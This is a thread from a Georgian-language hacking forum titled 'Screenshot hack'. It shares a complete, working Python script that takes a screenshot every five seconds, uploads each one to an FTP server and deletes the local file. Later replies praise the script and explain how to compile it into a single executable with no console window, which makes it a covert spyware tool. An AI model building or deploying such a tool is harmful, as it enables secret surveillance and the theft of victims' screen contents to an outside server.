Screenshot hack | Cyber Community | Hi-Tech World - CYBSECGROUP
Welcome to the CYBSECGROUP Forum
You have the opportunity to get acquainted with interesting projects in an interesting environment
Registration

Screenshot hack

maXXXara

Loading... 👽
CSG Member
Sep 27, 2018
4
9
#1
პროგრამა რომელიც სქრინავს ყოველ 5 წამში და გზავნის FTP სერვერზე
Code:
#მოდულების შემოტანა
import pyautogui
import time
from ftplib import FTP
import ftplib
import os
import fileinput
#FTP სერვერზე დალოგინება
host = ''
username = ''
password = ''
ftp = FTP()
ftp.set_debuglevel(2)
ftp.connect(host, 21)
ftp.login(username,password)
#სერვერზე ფაილის Pathი
ftp.cwd('/htdocs')
#დასქრინვა და შენახვა
def Screen(a):
    pic = pyautogui.screenshot()
    pic.save(a + '.png')

i = 0
while True:
    i = i+1
    x = str(i)
    #ყოველ 5 წამში დასქრნივის ფუნქციის შესრულება
    time.sleep(5)
    Screen(x)
    fp = open(x + '.png', 'rb')
    ftp.storbinary('STOR %s' % os.path.basename(x + '.png'), fp, 1024)
    fp.close()
    os.remove(x + '.png')
 

ვაკო ბატიაშვილი

I am Groot!!!
Founder CEO
Alien 👽
Jun 27, 2018
999
1,743
#3
პროგრამა რომელიც სქრინავს ყოველ 5 წამში და გზავნის FTP სერვერზე
Code:
#მოდულების შემოტანა
import pyautogui
import time
from ftplib import FTP
import ftplib
import os
import fileinput
#FTP სერვერზე დალოგინება
host = ''
username = ''
password = ''
ftp = FTP()
ftp.set_debuglevel(2)
ftp.connect(host, 21)
ftp.login(username,password)
#სერვერზე ფაილის Pathი
ftp.cwd('/htdocs')
#დასქრინვა და შენახვა
def Screen(a):
    pic = pyautogui.screenshot()
    pic.save(a + '.png')

i = 0
while True:
    i = i+1
    x = str(i)
    #ყოველ 5 წამში დასქრნივის ფუნქციის შესრულება
    time.sleep(5)
    Screen(x)
    fp = open(x + '.png', 'rb')
    ftp.storbinary('STOR %s' % os.path.basename(x + '.png'), fp, 1024)
    fp.close()
    os.remove(x + '.png')
შეგიძ₾ია კოდი უფრო გააალამაზო შემდეგში, უფრო პატარაც გამოვა + ექსეში რომ გადაიყვანო ასე დიდი გამოვა ეს კოდი, მოდულებიდან ის ფუქნცები შემოიტანე მარტო რასაც იყენებ + არხებს თუ დაამატებ კარგი იქნება. ისე კარგია რომ გიწვალია. +1 ლაიქი ჩემგან <3
 
Likes: maXXXara

HackerN30

Tx3L4R
CSG Member
May 30, 2019
5
1
#4
ეს ფაილი ნოუთში ექსის ფორმატით უნდა დავასეივოთ ხო?
 

ვაკო ბატიაშვილი

I am Groot!!!
Founder CEO
Alien 👽
Jun 27, 2018
999
1,743
#5
ეს ფაილი ნოუთში ექსის ფორმატით უნდა დავასეივოთ ხო?
რა თქმა უნდ არა. exe არის უკვე დაკომპილირებული, ბინარული ფაილი. ეგ კოდი უნდა შიენახო py ან pyw (ეს ტერმინალის გარესშე გაუშვებს) მარა პითონის ინსტალაცია დაჭირდება მოწყობილებაზე. ამიტომ ავაინსტალირებთ pyinstaller-ს. (# python3 -m pip install pyinstaller) და მერე pyinstaller-ით გადაგვყავ exe ში ან sh ანდა სხვა ბინარულ გაფართოებაში. დამოკიდებულია რა სისტემაზე ხართ. ლინუქსზე თუ გაუშვებთ .sh -დაიბილდება ხოლო ვინდოუსზე თუ ხართ .exe-შიდაიბილდება pyinstaller file.py --onefile --noconsole აუთფუთი იქნება ფოლდერში dist
 

HackerN30

Tx3L4R
CSG Member
May 30, 2019
5
1
#6
რა თქმა უნდ არა. exe არის უკვე დაკომპილირებული, ბინარული ფაილი. ეგ კოდი უნდა შიენახო py ან pyw (ეს ტერმინალის გარესშე გაუშვებს) მარა პითონის ინსტალაცია დაჭირდება მოწყობილებაზე. ამიტომ ავაინსტალირებთ pyinstaller-ს. (# python3 -m pip install pyinstaller) და მერე pyinstaller-ით გადაგვყავ exe ში ან sh ანდა სხვა ბინარულ გაფართოებაში. დამოკიდებულია რა სისტემაზე ხართ. ლინუქსზე თუ გაუშვებთ .sh -დაიბილდება ხოლო ვინდოუსზე თუ ხართ .exe-შიდაიბილდება pyinstaller file.py --onefile --noconsole აუთფუთი იქნება ფოლდერში dist
მადლობა <3